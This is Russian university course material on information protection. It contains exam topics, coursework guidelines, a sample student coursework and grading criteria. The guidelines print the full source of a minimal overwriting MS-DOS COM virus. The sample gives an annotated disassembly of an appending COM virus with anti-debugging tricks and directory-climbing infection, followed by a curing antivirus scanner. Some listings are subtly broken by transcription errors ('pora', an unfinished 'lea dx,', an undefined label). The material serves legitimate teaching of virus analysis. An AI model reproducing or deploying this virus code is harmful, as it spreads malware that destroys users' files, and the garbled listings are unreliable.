13. Строение и выделение оперативной памяти в MS-DOS. Резидентность.
14. Загрузка ЭВМ. Организация жесткого диска. MBR и таблица разделов.
15. BOOT сектор. Строение FAT.
16. COM вирус, записывающийся в конец файла.
17. EXE вирус.
18. Резидентный COM и EXE вирус.
19. Загрузочный вирус.
20. Файлово-загрузочный вирус.
21. Методы самозащиты вирусов.
22. Шифрование и полиморфизм.
23. Обратное проектирование. Статический и динамический методы.
24. Защита от отладки.

25. Защита от дизассемблирования.
26. Защита от изучения.
27. Защита от изменения и копирования.
28. Обнаружение и выделение компьютерных вирусов.
29. Виды антивирусов. Методы, используемые антивирусами.
30. Простейший антивирусный сканер. Описание работы антивируса.
31. Сканирование памяти и загрузочных секторов.
32. Антивирус, сканирующий диск, память и загрузочные области.
33. Привязка к аппаратуре.
34. Ключевые дискеты.
35. Формат команд. Кодирование регистров и условных переходов.
36. Поле Mod R/M. Поле SIB. Понятие множителя.
37. Дизассемблирование и ассемблирование в уме.

Примерная структура билета



МИНОБРНАУКИ РОССИИ
Федеральное государственное бюджетное образовательное
учреждение высшего образования
«САМАРСКИЙ ГОСУДАРСТВЕННЫЙ ТЕХНИЧЕСКИЙ
УНИВЕРСИТЕТ»

Кафедра «Электронные системы и информационная безопасность»

БИЛЕТ НА ЗАЧЕТ С ОЦЕНКОЙ № 1 по дисциплине «Программно-аппаратные средства защиты информации»

1. Определение и классификация вирусов. Перезаписываемый COM вирус.
2. Обратное проектирование. Статический и динамический методы.

Для направления 10.04.01 Информационная безопасность Семестр 1

Составитель:

_____ ФИО

«___» _____ 20__ года

Заведующий кафедрой

_____ ФИО

«___» _____ 20__ года

Методические рекомендации по выполнению курсовой работы. Пример технического задания и структуры курсовой работы

ОБЩИЕ ПОЛОЖЕНИЯ

Целью курсовой работы (КР) является закрепление знаний, полученных студентами в процессе изучения данной дисциплины;

Основной задачей курсовой работы является подготовка бакалавров к выполнению выпускной квалификационной работы.

Изложение пояснительной записки должно быть технически грамотным, четким и сжатым и строиться на фактическом материале.

Порядок оформления Курсовой Работы следующий:

- Титульный лист
- Реферат (должен быть на одном листе; нумеруется, но номер страницы не проставляется)
- Содержание
- Введение
- Анализ вируса
- Алгоритм работы вируса
- Заключение
- Список используемых источников
- Приложение А. Дезассемблированный код вируса
- Приложение Б. Исходный код разработанного антивирусного сканера (СОМ-файлов)

Министерство науки и высшего образования Российской Федерации

ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ БЮДЖЕТНОЕ ОБРАЗОВАТЕЛЬНОЕ
УЧРЕЖДЕНИЕ ВЫСШЕГО ОБРАЗОВАНИЯ

«Самарский государственный технический университет»

Институт Автоматики и информационных технологий

Кафедра «Электронные системы и информационная безопасность»

Кафедра «Электронные системы и информационная безопасность»

УЧЕБНО-ПРАКТИЧЕСКОЕ ИЗДАНИЕ

Методические указания к выполнению курсовой работы по дисциплине

ПРОГРАММНО-АППАРАТНЫЕ СРЕДСТВА ЗАЩИТЫ ИНФОРМАЦИИ

Самара 20__

Поскольку программная защита информации основана на использовании особенностей аппаратуры ЭВМ И предъявляет жесткие требования к быстрдействию в данном лабораторном практикуме разработка и исследование программ будет вестись с применением языка Ассемблер.

1. Порядок выполнения и требования к курсовой работе

Порядок выполнения курсовой работы:

1. Получить исполняемый файл с вирусом внутри
2. Дизассемблировать файл
3. Исследовать дизассемблированный файл
4. Определить алгоритм действия вируса
5. Выделить характерные признаки вирусы
6. Разработать алгоритм работы антивируса
7. Создать антивирусную программу
8. Выполнить тестирование корректности детектирования и лечения

Объем курсовой работы около 25 листов. Курсовая работа состоит из следующих частей:

1. Титульный лист
2. Содержание
3. Введение (1 - 2 стр) — краткое (свое) описание проблемы вирусов
4. Алгоритм работы вируса — тщательное описание работы исследованного вируса
5. Алгоритм работы антивируса — подробное описание работы антивирус
6. Листинг вируса — без комментариев
7. Листинг антивируса — без комментариев
8. Список литературы

Требования к оформлению:

1. Текст курсового набирается в редакторе Word на листе формата А4, книжная ориентация
2. Поля: верхнее — 2 см; нижнее — 3 см; левое — 3,5 см; правое — 1,5 см.
3. Шрифт - Times New Roman, размер — 14, отступ первой строки абзаца 1.27 см, междустрочный интервал — одинарный, выравнивание текста — по ширине.
4. Страницы пронумерованы — номера страниц внизу в середине.

2. Анализ работы не резидентного СОМ вируса

Программный объект, который заражается компьютерным вирусом называется жертва, программный объект, который уже содержит вирус и при запуске которого запускается вирус называется носителем.

Простейшие СОМ вирусы заражают файлы в текущем каталоге. Наиболее простым является перезаписывающий СОМ вирус, который находит файл в текущем каталоге и замещает его своим телом. Минимально необходимый набор подсистем данного вируса — подсистема поиска объекта заражения и подсистема заражения. Попробуем представить, как должен выглядеть вирус такого типа, имеющий минимальный размер.

Первое что необходимо вирусу — найти файл по маске

```
mov ah, 4Eh
mov dx, offset mask
int 21h
```

При этом маска в области данных может иметь вид

```
mask db '*.C*',0
```

Поскольку вирус должен быть минимального размера, то проверки на успешность срабатывания функций MS-DOS мы производить не будем.

Следующим шагом после нахождения файла будет его открытие

```
mov ax, 3D02h
mov dx, 9Eh
int 21h
```

Опять проверки мы не производим, предполагая, что функция сработала успешно. Теперь просто записываем тело вируса в начало файла.

```
xchg ax, bx
mov dx, 100h
mov ah, 40h
mov cl, vir_len
int 21h
```

Затем закрываем файл и выходим из программы.

```
mov ah, 3Eh
int 21h
ret
```

Длину вируса определяем константой

```
vir_len equ $-vir
```

Учитывая стандартные начало и конец COM программы исходный текст простейший Оуеграйтер вируса будет иметь вид и занимать 35 байт.

```
.model tiny
```

```
.code
```

```
org 100h
```

```
start:
```

```
mov ah, 4Eh
mov dx, offset mask
int 21h
mov ax, 3D02h
mov dx, 9Eh
int 21h
xchg ax, bx
mov dx, 100h
mov ah, 40h
mov cl, Vir_len
int 21h
mov ah, 3Eh
int 21h
ret
```

```
mask db '*.C*',0
```

```
vir_len equ $-Vir
```

```
end start
```

Внедряющийся вирус в отличие от перезаписывающего сохраняет работоспособность носителя, обычно восстанавливая его в памяти и передавая ему управление. Заражение может происходить записью вируса в начало, середину и конец файла. Наиболее простым способом является заражение в конец файла, при этом вирус организует передачу управления на свой код.

Простейший внедряющийся COM вирус отличается наличием процедур, отвечающих за нахождение своего тела в теле жертвы (для адресации своих внутренних переменных), восстановление носителя и передачи управления носителю

Далее приведен

Определяем дельта смещение

Ищем жертву

Заражаем жертву

Восстанавливаем носитель

Передаем управление на начало восстановленного носителя

Пример оформления титульного листа



Министерство науки и высшего образования Российской Федерации
Федеральное государственное образовательное учреждение
высшего образования

Институт Автоматики и информационных технологий

Кафедра: Электронных систем и информационной безопасности

КУРСОВАЯ РАБОТА

По дисциплине «Программно-аппаратные средства защиты информации»

Выполнил:

Студент _____

Проверил:

Оценка _____

« _____ » _____ 20 г.

« » _____ 20 г.

Самара 20 ____ год.

ОСНОВНЫЕ ТРЕБОВАНИЯ К ОФОРМЛЕНИЮ ПОЯСНИТЕЛЬНОЙ ЗАПИСКИ

Поля: слева- 30мм; справа- 10 мм; сверху и снизу- по 20 мм. Текст может быть рукописным или машинописным.

При наборе текста на компьютере следует придерживаться следующих правил:

- шрифт- Times New Roman 14 размера;
- полуторный межстрочный интервал;
- абзац- 10 мм;
- выравнивание по ширине.

Заголовки разделов- прописными буквами без переносов. Расстояние между заголовком и последующим текстом должно быть равно 15 мм при рукописном тексте или двум интервалам- при машинописном.

Страницы записки нумеруются последовательно (считая с титульного листа) до последней страницы, включая приложение. Номера страниц проставляются в правом верхнем углу поля арабскими буквами. На титульном листе и техническом задании номера считаются, но не проставляются.

Таблицы- обозначаются в пределах раздела двойной нумерацией (первая цифра- номер раздела, вторая- порядковый номер таблицы). Таблица должна иметь заголовок, выше которого над правым углом таблицы пишется слово «таблица». Формулы и рисунки нумеруют в пределах раздела также двойной нумерацией. Рисунки должны иметь заголовок, который помещают над изображением, а номер рисунка- под изображением. Рисунки могут располагаться по тексту или в приложении. В тексте должны быть ссылки на таблицы и рисунки, например: «В табл. 2.1 приведено...», «На рис. 2.5 изображено...», «На рис. 2.2П показано...». Буква П указывает, что рисунок расположен в приложении. Повторные ссылки даются в круглых скобках:(см. рис. 3.3), (см. табл. 1.3).

Пример выполнения курсовой работы

Тема курсовой работы:

«Разработать антивирус на не резидентный вирус COM»

Введение

Тема защиты компьютерной информации стала очень популярной в последние десятилетия. Связано это, прежде всего, с повсеместным распространением вычислительной техники, внедрением ее практически во все сферы человеческой деятельности. Любые нарушения в работе вычислительных систем с каждым годом становятся для человека все болезненнее и опаснее.

Сегодня массовое применение персональных компьютеров, к сожалению, оказалось связанным с появлением программ-вирусов, препятствующих нормальной работе компьютера, разрушающих файловую структуру дисков и наносящих ущерб хранимой в компьютере информации.

Что же представляют собой программ-вирусы с технической точки зрения?

Компьютерный вирус – это программа, способная создавать свои копии (не обязательно полностью совпадающие с оригиналом), внедрять их в различные объекты или ресурсы компьютерных систем, сетей и производить определенные действия без ведома пользователя.

Поэтому впоследствии потребовались программы, имеющие функции лечения и защиты операционной системы от вредоносных вирусов.

Антивирусная программа (антивирус) — это специализированная программа для обнаружения компьютерных вирусов, а также нежелательных (считающихся вредоносными) программ вообще и восстановления заражённых (модифицированных) такими программами файлов, а также для профилактики — предотвращения заражения (модификации) файлов или операционной системы вредоносным кодом.

Таким образом, противоборство вирусных и антивирусных программ является основным в информационных технологиях.

Анализ вируса

1. Алгоритм работы вируса

Алгоритм работы:

1) Начало работы

```
start_0 proc far
    cli
    int     3           ; Получить в [bp-6] адрес следующей команды
    mov    bp, sp
    or     ax, 1111h   ; мусор
    xchg  ax, si       ; мусор
    mov    bp, [bp-6]  ; адрес команды следующей за int 3
    sti
```

sub bp, 106h ; в bp получили базовый адрес, который используется для
вычисления смещений по всему вирусу

2) Установить новый обработчик прерывания трассировки

```
mov ax, 2501h
lea dx, (newint1 - (byte_103+4Dh))[bp]
int 21h
push cs
lea di, (restore_first_bytes - (byte_103+4Dh))[bp]
push di
retf

start_0 endp ; sp-analysis failed
```

3) Новый обработчик прерывания трассировки

newint1:

```
mov al, 0ADh
out 64h, al
iret
```

4) Получение текущей директории

savecurdir:

```
mov dl, 0 ; для текущего диска
mov ah, 47h
lea si, (curDir - (byte_103+4Dh))[bp]
int 21h
```

5) Установить новую область DTA для поиска файлов

```
mov ah, 1Ah
lea dx, (DTA.reserved - (byte_103+4Dh))[bp]
int 21h
jnb short infect1 ; если нет ошибки, продолжить выполнение
```

```
    jmp short return ; если ошибка, перейти к выполнению программы
    nop
```

6) Восстановление первых 4х байт в памяти

restore_first_bytes:

```
    mov di, 100h
    lea si, (buffer - (byte_103+4Dh))[bp]
    mov cx, 4
    rep movsb
```

7) Получить текущее время

```
    mov ah, 2Ch
    int 21h
```

8) Проверка времени

```
    cmp ch, 5 ; если менее 5 часов
    jnb short loc_2A8 ; ;
```

loc_2A5:

```
    jmp short return ; то незаражать, перейти в программу
```

loc_2A8:

```
    cmp ch, 18 ; если более 18 часов,
    ja short loc_2A5 ; то незаражать, перейти в программу
```

9) Сброс флага CF

```
    pushf
    pop bx
    and bl, 0FEh
    push bx
    popf
```

10) Переход на метку savecurdir

```

push cs
lea bx, (savecurdir - (byte_103+4Dh))[bp];адрес перехода
push bx
retf

```

infect1:

```

lea dx, (a_com - (byte_103+4Dh))[bp] ; маска искомых файлов
call infect_directory ; Заражаем файлы в директории по заданной
маске

```

11) Переход в родительскую папку

```

lea dx, (a__ - (byte_103+4Dh))[bp] ; ".."
mov ah, 3Bh
int 21h

```

12) Заражаем все родительские папки пока не достигнем корня

```

jnb short infect1 ; продолжаем заражение

```

13) Возвращаем исходную директорию

```

lea di, (slash - (byte_103+4Dh))[bp]
mov byte ptr [di], 5Ch ; добавляем \ перед
директорией
mov ah, 3Bh
xchg dx, di
int 21h

```

14) Возвращаем старую область DTA

```

mov ah, 1Ah
mov dx, ds:(word_467 - (byte_103+4Dh))[bp]
int 21h

```

15) Возврат в программу-носитель

return:

```

push cs

```

```

mov cx, 155h
and cx, 100h
xchg ax, cx
push ax
retf

```

16) Процедура заражения com-файлов в директории

```
infect_directory proc near
```

```

mov ah, 4Eh ; ф-я поиска первого файла в директории
mov cx, 7 ; атрибуты файлов для поиска

```

17) Поиск очередного файла

findfile:

```

int 21h

jb short nullsub_1 ; если файл не найден, выйти из
процедуры

```

18) Получить атрибуты найденного файла

```

mov ax, 4300h
lea dx,
int 21h
jnb short loc_305 ; если нет ошибки, продолжить
jmp findnext ; если ошибка, искать следующий файл

```

loc_305:

```
mov ss:(attrib - (byte_103+4Dh))[bp], cx ; сохранить атрибуты файла
```

19) Сброс атрибутов файла, чтобы в него можно было записать

```

mov ax, 4301h
xor cx, cx
int 21h

jnb short openfile ; если нет ошибки, перейти к открытию файла

```

jmp findnext ; если ошибка, искать следующий файл

20) Открытие заражаемого файла

openfile:

```
mov ax, 3D02h ; ф-я открытия файла на чтение и запись
lea dx, (DTA.szFilespec - (byte_103+4Dh))[bp]
int 21h
```

jnb short loc_323 ; ;

jmp restoreattr ; если ошибка открытия, вернуть атрибуты и искать следующий

loc_323:

xchgax, bx ; сохранить в bx хендл открытого файла

21) Чтение из файла первых 4х байт

```
mov ah, 3Fh
mov cx, 4
lea dx, (buffer - (byte_103+4Dh))[bp]
int 21h
```

jb short loc_35C ; если ошибка чтения, закрыть файл

22) Проверка не является ли файл exe.

cmp word ptr ds:(buffer - (byte_103+4Dh))[bp], 5A4Dh ; Если первые два символа в файле НЕ MZ

```
jnz short its_com ; то продолжаем - это com
jmp closefile ; Иначе закрываем файл - это exe
```

its_com:

```

cmp byte ptr cs:(buffer+3 - (byte_103+4Dh))[bp], 58h ; если 4-й
байт айла не 58h, то файл точно не заражен
jnz short check_size ; продолжаем заражение
jmp short check_infection ; иначе проверяем не заражен ли файл

```

23) Проверка размера файла

check_size:

```

mov ax, word ptr cs:(DTA.lSize - (byte_103+4Dh))[bp] ; взять размер
push ax
push ax ; сохранить размер файла
cmp ax, 63535 ; если размер больше 63535,
jbe short loc_357 ; ;
jmp closefile ; не заражаем, закрываем

```

loc_357:

```

cmp ax, 3840 ; если размер файла меньше 3840 байт
jnb short save_datetime ; ;

```

loc_35C:

```

jmp closefile ; не заражаем, закрываем

```

save_datetime:

```

pop ax
pop di ; восстанавливаем размер файла
sub ax, 3 ; получаем смещение для перехода на начало

```

вируса

```

mov byte ptr ss:(vir_offs -(byte_103+4Dh))[bp], al ; сохраняем его в
байтах, которые будут записываться в начало файла
mov byte ptr ss:(vir_offs+1 - (byte_103+4Dh))[bp], ah

```

24) Получаем текущую дату и время

```

mov ax, 5700h

```

```

int    21h
jnb    short loc_376
jmp    closefile    ; при ошибке закрываем файл

```

25) Сохраняем время и дату модификации файла

loc_376:

```

mov    ss:(time - (byte_103+4Dh))[bp],    cx
mov    ss:(date - (byte_103+4Dh))[bp],    dx

```

26) Устанавливаем указатель на конец файла

```

mov    ax, 4200h
xor    cx, cx
mov    dx, di
int    21h

```

```

jnb    short append_virus ; если нет ошибки, дописываем тело вируса
jmp    short restoredatetime ; при ошибке все вернуть, закрыть и

```

искать следующий

27) Проверка на заражение своей копией

check_infection:

pusha

```

mov    dx, word ptr ds:(buffer+1 - (byte_103+4Dh))[bp] ; взять смещение

```

перехода на предполагаемый вирус

```

add    dx, 3 ; получили его смещение в файле

```

переходим на смещение предполагаемого вируса

```

mov    ax, 4200h
xor    cx, cx
int    21h

```

28) Читаем 4 байта сигнатуры

```

mov    ah, 3Fh
mov    cx, 4

```

```
lea dx, (dword_4B7 - (byte_103+4Dh))[bp]
int 21h
```

29) Сравниваем прочитанную сигнатуру с заданной

```
cld
lea si, (dword_4B3 - (byte_103+4Dh))[bp]
lea di, (dword_4B7 - (byte_103+4Dh))[bp]
repe cmpsb
pora
jnz short check_size ; если не совпали, файл НЕ заражен, продолжаем
проверку размера
jmp short closefile ; файл заражен, закрываем его
```

30) Дописывание тела вируса в конец файла

append_virus:

```
mov ah, 40h; ф-я записи в файл
mov cx, 26Bh ; длина тела вируса
por
lea dx, (start_0 - (byte_103+4Dh))[bp]
int 21h
jnb short loc_3C9
jmp short restoredatetime ;при ошибке все вернуть, закрыть искать
```

следующий

31) Переместить указатель в начало файла для модификации

loc_3C9:

```
mov ax, 4200h
xor cx, cx
xor dx, dx
int 21h
jnb short loc_3DC; если нет ошибки, продолжить
pusha
call clear ; при ошибке удалить тело вируса из файла
pora
```

```
jmp short restoredatetime ; все вернуть, закрыть и искать
```

следующий

32) Сформировать первые 4 байта заражаемого файла и записать в файл

loc_3DC:

```
mov cs:(jump - (byte_103+4Dh))[bp], 0E9h ; сформировать команду
```

перехода на вирус

```
mov ah, 40h
```

```
mov cx, 4
```

```
lea dx, (jump - (byte_103+4Dh))[bp]
```

```
int 21h
```

```
jnb short restoredatetime ; удачно заразили, закрыть и искать
```

следующий

```
pusha
```

```
call clear ; при ошибке удалить тело вируса из файла
```

```
popa
```

```
jmp short restoredatetime ; все вернуть, закрыть и искать
```

следующий

infect_directory endp

33) Очистка файла от тела вируса

clear

```
proc near
```

```
mov ax, 4200h
```

```
xor cx, cx
```

```
mov dx, di ; устанавливаем указатель файла на конец
```

исходного файла

```
int 21h
```

При записи 0 байт файл с текущей позиции обрезается, то есть здесь файл очищается от вируса

```
xor cx, cx
```

```
mov ah, 40h
```

```
        int    21h
        retn
clear   endp
```

34) Восстановление даты и времени модификации
restoredatetime:

```
        mov    ax, 5701h
        mov    cx, ss:(time - (byte_103+4Dh))[bp]
        mov    dx, ss:(date - (byte_103+4Dh))[bp]
        int    21h
```

35) Закрытие файла
closefile:

```
        mov    ah, 3Eh
        int    21h
```

36) Восстановление атрибутов файла
restoreattr:

```
        mov    ax, 4301h
        lea    dx, (DTA.szFilespec - (byte_103+4Dh))[bp]
        mov    cx, ss:(attrib - (byte_103+4Dh))[bp]
        int    21h
```

37) Поиск следующего файла
findnext:

```
        mov    ah, 4Fh; функция поиска следующего файла
        jmp    findfile ; искать следующий файл
```

2. Алгоритм работы антивируса

Алгоритм работы:

start:

```
        mov    ax, @data           ;настраиваем сегментные регистры
        mov    ds, ax
```

```

mov es,ax
mov ah, 1Ah          ;ф-я изменения области dta
lea dx, DTA         ;новый адрес
int 21h             ;задать новую область dta
lp: call curedir    ;выделить директорию
lea dx,pp
mov ah, 3Bh         ;ф-я смены текущей директории
int 21h             ;перейти в родительскую папку
jnb lp              ;продолжать пока переходит в родительскую папку
mov ah,1            ;Ожидаем нажатия любой клавиши
int 21h
mov ax,4c00h        ;закончить программу
int 21h

```

```

not_inf:
lea si,msg1         вывести сообщение
call outstr         ;что файл не инфицирован
jmp close          ;закреть его

```

Вывод строки на экран. Строка должна заканчиваться нулевым байтом

;ds:si - выводимая строка

```

outstr proc
mov ah,2           ;функция вывода символа на экран
os1: mov dl,[si]   ;взять очередной символ из строки
cmp dl,0           ;если это конец строки
jz ose            ;то закончить вывод
int 21h           ;вывести очередной символ
inc si            ;перейти к следующему символу
jmp os1           ;продолжить вывод
ose: ret
outstr endp
curedir proc

```

```

lea dx,msk         ;маска поиска файлов
mov ah, 4Eh        ; ф-я поиска первого файла
mov cx, 7          ;атрибуты для поиска

```

1) Ищем com файл

```

slp:      int 21h
          jnb q1
          jmp fin          ;если не найден, закончить цикл
q1:      lea si,DTA+1eh ;адрес имени найденного файла
          call outstr      ;вывести имя на экран
2)  Изменение атрибутов найденного файла:
          mov ax,4301h     ;ф-я установки атрибутов
          lea dx,DTA+1eh   ;имя файла
          xor cx,cx        ;очистить атрибуты
          int 21h          ;сбросить атрибуты файл
3)  Открываем файл для чтения и записи
          mov ax,3d02h     ;ф-я открытия файла на чтение/запись
          lea dx,DTA+1eh   ;имя файла
          int 21h          ;открываем файл
          jnb q2
          jmp restore_attr ;при ошибке открытия перейти и вернуть атрибуты
4)  Считаем первые 4 байта
q2:      mov bx,ax         ;сохранить хендл открытого файла
          mov ah,3fh       ;ф-я чтения их файла
          mov cx,4         ;4 байта
          lea dx,sig1      ;куда читать
          int 21h          ;читаем 4 байта с начала файла
5)  Проверка на заражение
          cmp sig1[0],0e9h ;если первый байт не e9
          jz q3
          jmp not_inf      ;то файл не инфицирован
q3:      cmp sig1[3],58h  ;если 4-й байт не 58h
          jz q4
          jmp not_inf      ;то файл не инфицирован
6)  Проверка сигнатуры вируса
q4:      mov dx,word ptr sig1[1] ;поскольку первый байт команда перехода, берем
смещение этого перехода
          add dx,3         ;и вычисляем его смещение в файле

```

```

xor cx,cx          ;старшая часть смещения=0
mov ax,4200h      ;ф-я установки указателя файла относительно начала
int 21h          ;установить указатель на предполагаемое начало
вируса
mov ah,3fh        ;ф-я чтения из файла
mov cx,4          ;4 байта
lea dx,sig2       ;куда читать
int 21h          ;читаем 4 байта с начала вируса
lea si,sig2       ;прочитанные байты
lea di,signature  ;сигнатура вируса
mov cx,4          ;кол-во сравниваемых байт
rep cmpsb        ;сравнить прочитанные байты с заданной сигатурой
jz q5
jmp not_inf       ;если не равны, то файл не инфицирован
7) Вывод сообщения
q5: lea si,msg2    ;выводимое сообщение
    call outstr    ;вывести сообщение что файл инфицирован
8) Лечение файла и его закрытие
    mov ax,4201h   ;ф-я перемещения указателя относительно текущей
позиции
xor cx,cx          ;старшая часть смещения=0
    mov dx,1d2h    ;смещение от текущего где хранятся первые 4 байта
программы
    int 21h        ;переместить указатель
    jnc q6
    jmp err        ;при ошибке перейти
q6: lea dx,rest_byte ;куда читать восстанавливаемые байты
    mov ah,3fh     ;ф-я чтения из файла
    mov cx,4       ;4 байта
    int 21h        ;прочитать первые байты программы
    jc err         ;при ошибке перейти
    xor dx,dx      ;смещение = 0
    xor cx,cx
    mov ax,4200h   ;ф-я установки указателя

```

```

int 21h          ;установить указатель в начало файла
jc err          ;при ошибке перейти
mov ah,40h      ;ф-я записи в файл
lea dx,rest_byte ;первые байты программы
mov cx,4        ;кол-во байт
int 21h        ;записать байты в начало файла
jc err          ;при ошибке перейти
mov dx,word ptr sig1[1];поскольку первый байт команда перехода, берем
смещение этого перехода

```

```

add dx,3        ;и вычисляем его смещение в файле

```

```

xor cx,cx       ;старшая часть смещения=0
mov ax,4200h    ;ф-я установки указателя файла относительно начала
int 21h        ;установить указатель на начало вируса
jc err          ;при ошибке перейти

```

```

xor cx,cx       ;записать 0 байт
mov ah,40h      ;ф-я записи в файл
int 21h        ;при записи 0 байт остаток файла от текущего указателя
обрезается, то есть отрезаем вирус от файла

```

```

jc err          ;при ошибке перейти
lea si,msg3
call outstr     ;вывести сообщение об изменении

```

date_back:

```

mov ax,5701h    ;ф-я установки даты и времени
mov cx,word ptr DTA+16h ;взять время
mov dx,word ptr DTA+18h ;и дату файла
int 21h        ;вернуть старые дату и время модификации файла

```

```

close:         mov ah,3eh ;ф-я закрытия файла
int 21h        ;закрыть файл

```

9) Восстановление атрибутов файла:

restore_attr:

```

mov ax,4301h      ;ф-я установки атрибутов
lea dx,DTA+1eh   ;имя файла
xor cx,cx
mov cl,DTA+15h   ;cx=атрибуты файла
int 21h          ;вернуть старые атрибуты

```

10) Поиск следующего файла

```

mov ah,4fh       ;ф-я поиска следующего файла
jmp slp          ;продолжить поиск файлов
fin:             ret
err:             lea si,msgc ;вывести сообщение
                call outstr ;об ошибке
                jmp date_back ;продолжить
                curedir endp
                end start

```

Заключение

Зачем надо защищаться? Все зависит от конкретного профиля рода занятий. Для одних главной задачей является предотвращение утечки информации к конкурентам. Другие могут уделять главное внимание целостности информации. Для третьих на первое место поднимается задача безотказной работы информационных систем (например, для провайдеров Интернет). Известны случаи, когда вирусы блокировали работу организаций и предприятий. Более того, несколько лет назад был зафиксирован случай, когда компьютерный вирус стал причиной гибели человека - в одном из госпиталей Нидерландов пациент получил летальную дозу морфия по той причине, что компьютер был заражен вирусом и выдавал неверную информацию.

Из всего вышесказанного можно смело сделать вывод, что необходимость защиты от компьютерных вирусов на данный момент стоит на первом месте.

Для предотвращения заражения вирусом и соответственно всех его последствий необходимо правильно выбрать и установить в систему антивирусное программное обеспечение и соблюдать элементарные меры предосторожности.

Список использованной литературы

1. В. Ю. Пирогов «Assembler. Учебный курс». Издательство: Нолидж, 2002 г, 848с.
2. Крис Касперски. «Образ мышления – дизассемблер IDA. Том I. Описание функций встроенного языка IDA PRO». Издательство: Солон-Р, 2001 г. – 480с
3. Климентьев К. Е. К49 Компьютерные вирусы и антивирусы: взгляд программиста. –М.: ДМК Пресс, 2013. – 656 с.: ил.
4. Рудольф Марек. «Ассемблер на примерах. Базовый курс». — СПб: Наука и Техника, 2005. — 240 с: ил.

ПРИЛОЖЕНИЕ А. Дизассемблированный код вируса

ПРИЛОЖЕНИЕ Б. Исходный код разработанного антивирусного сканера

**Методические материалы, определяющие процедуры оценивания
знаний, умений, навыков,
характеризующих этапы формирования компетенций.
Описание шкал оценивания**

Учебная дисциплина формирует компетенции в соответствии с табл. 2. Процедура оценивания представлена в табл. 3 и реализуется поэтапно:

1-й этап процедуры оценивания: оценивание уровня достижения каждого из запланированных результатов обучения – дескрипторов (знаний, умений, владений) в соответствии со шкалами и критериями, установленными картами компетенций ОПОП. Экспертной оценке преподавателя подлежит сформированность отдельных дескрипторов, для оценивания которых предназначена данная оценочная процедура текущего контроля и промежуточной аттестации согласно матрице соответствия оценочных средств результатам обучения.

2-й этап процедуры оценивания: интегральная оценка достижения обучающимся запланированных результатов обучения по итогам отдельных видов текущего контроля и промежуточной аттестации.

Таблица 3

Характеристика процедур текущего и итогового контроля по дисциплине:

№	Наименование оценочного средства	Периодичность и способ проведения процедуры оценивания	Методы оценивания (экспертный, самооценка, групповая оценка, взаимооценка)	Виды выставляемых оценок (по пятибалльной шкале, зачтено / не зачтено, баллы)	Способ учета индивидуальных достижений обучающихся
1	Контрольная точка 1 (тест)	1 раз в семестр	экспертный	Зачтено / не зачтено	Журнал учета посещаемости и успеваемости, контрольная точка в АИС ВУЗа
2	Контрольная точка 2 (тест)	1 раз в семестр	экспертный	Зачтено / не зачтено	Журнал учета посещаемости и успеваемости, контрольная точка в АИС ВУЗа
3	Отчет по лабораторной работе 1	На лабораторных занятиях, письменно и устно	Экспертный	Зачтено / не зачтено	Журнал учета посещаемости и успеваемости
4	Отчет по лабораторной работе 2	На лабораторных занятиях, письменно и устно	Экспертный	Зачтено / не зачтено	Журнал учета посещаемости и успеваемости
5	Отчет по лабораторной работе 3	На лабораторных занятиях, письменно и устно	Экспертный	Зачтено / не зачтено	Журнал учета посещаемости и успеваемости

№	Наименование оценочного средства	Периодичность и способ проведения процедуры оценивания	Методы оценивания (экспертный, самооценка, групповая оценка, взаимооценка)	Виды выставленных оценок (по пятибалльной шкале, зачтено / не зачтено, баллы)	Способ учета индивидуальных достижений обучающихся
6	Отчет по лабораторной работе 4	На лабораторных занятиях, письменно и устно	Экспертный	Зачтено / не зачтено	Журнал учета посещаемости и успеваемости
7	Отчет по лабораторной работе 5	На лабораторных занятиях, письменно и устно	Экспертный	Зачтено / не зачтено	Журнал учета посещаемости и успеваемости
9	Отчет по лабораторной работе 6	На лабораторных занятиях, письменно и устно	Экспертный	Зачтено / не зачтено	Журнал учета посещаемости и успеваемости
10	Выполнение курсовой работы	В течении семестра, письменно	Экспертный	По пятибалльной шкале	Экзаменационная ведомость, зачетные книжки и учебные карточки, портфолио
11	Зачет с оценкой	По окончании семестра, письменно	Экспертный	По пятибалльной шкале	Экзаменационная ведомость, зачетные книжки и учебные карточки, портфолио

Шкала и процедура оценивания сформированности компетенций

На этапе промежуточной аттестации используется система оценки успеваемости обучающихся, которая позволяет преподавателю оценить уровень освоения материала обучающимися. Критерии оценивания сформированности планируемых результатов обучения (дескрипторов) представлены в карте компетенции ОПОП.

Форма оценки знаний: оценка - 5 «отлично»; 4 «хорошо»; 3 «удовлетворительно»; 2 «неудовлетворительно». Практические занятия оцениваются: «зачет», «незачет». Возможно использование балльно-рейтинговой оценки.

Шкала оценивания:

«Зачет» – выставляется, если сформированность заявленных дескрипторов компетенций на 50 % и более оценивается не ниже «удовлетворительно» при условии отсутствия критерия «неудовлетворительно». Выставляется, когда обучающийся показывает хорошие знания изученного учебного материала; самостоятельно, логично и последовательно излагает и интерпретирует материалы учебного курса; полностью раскрывает смысл предлагаемого вопроса; владеет основными терминами и понятиями изученного курса; показывает умение переложить теоретические знания на предполагаемый практический опыт.

«Отлично» – выставляется, если сформированность заявленных дескрипторов компетенций на 80 % и более (в соответствии с картами компетенций ОПОП) оценивается

критериями «хорошо» и «отлично», при условии отсутствия оценки «неудовлетворительно»: студент показал прочные знания основных положений фактического материала, умение самостоятельно решать конкретные практические задачи повышенной сложности, свободно использовать справочную литературу, делать обоснованные выводы из результатов анализа конкретных ситуаций;

«Хорошо» – выставляется, если сформированность заявленных дескрипторов компетенций на 50% и более (в соответствии с картами компетенций ОПОП) оценивается критериями «хорошо» и «отлично», при условии отсутствия оценки «неудовлетворительно», допускается оценка «удовлетворительно»: обучающийся показал прочные знания основных положений фактического материала, умение самостоятельно решать конкретные практические задачи, предусмотренные рабочей программой, ориентироваться в рекомендованной справочной литературе, умеет правильно оценить полученные результаты анализа конкретных ситуаций;

«Удовлетворительно» – выставляется, если сформированность заявленных дескрипторов компетенций 50 % и более (в соответствии с картами компетенций ОПОП) оценивается критериями «удовлетворительно», «хорошо» и «отлично»: обучающийся показал знание основных положений фактического материала, умение получить с помощью преподавателя правильное решение конкретной практической задачи из числа предусмотренных рабочей программой, знакомство с рекомендованной справочной литературой;

